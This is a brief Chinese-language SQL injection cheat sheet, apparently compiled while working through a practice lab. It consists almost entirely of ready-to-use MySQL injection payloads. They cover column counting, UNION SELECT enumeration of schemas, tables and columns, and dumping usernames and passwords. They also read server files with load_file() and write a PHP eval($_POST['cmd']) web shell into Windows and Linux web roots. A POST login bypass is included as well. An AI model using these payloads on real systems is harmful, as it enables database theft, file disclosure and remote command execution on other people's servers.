Mysql注入笔记

1.基于字符型报错注入

报字段数：

' order by 3 --+    // “+” 代表空格

' union select 1,2,3 --+

' UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA --+  // 获取数据库信息

' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479 --+  // 获取表信息

' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 0x7573657273 --+  // 获取表字段信息

' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+ // 获取数据o

2.基于数字型报错注入

不需要使用 ' 进行闭合，直接利用，利用方法和字符型一样

3.字符型报错注入（带()）

') order by 3--+  // 使用 )进行闭合

4.字符型报错注入（带"）

") order by 3--+  // 

5. 导入导出函数

读取函数：load_file()

union select load_file(“C://TEST.txt”);  或者  union select load_file(“C:/TEST.txt”);

导出函数：outfile()  dumpfile()

windows环境：

union select 1,2,'<?php eval($_POST["cmd"]) ?>' into outfile "C:\\phpstudy\\WWW\\test\\less7.php" %23

Linux环境：

union select 1,2,'<?php eval($_POST["cmd"]) ?>' into outfile "/var/www/web/cmd.php" %23

union select "<?php eval($_POST['cmd'])?>" dumpfile 'C:/phpstudy/WWW/test/webshell.php';

6.POST类型注入

uname=admin'#&passwd=chybeta&submit=Submit

uname=admin”#&passwd=chybeta&submit=Submit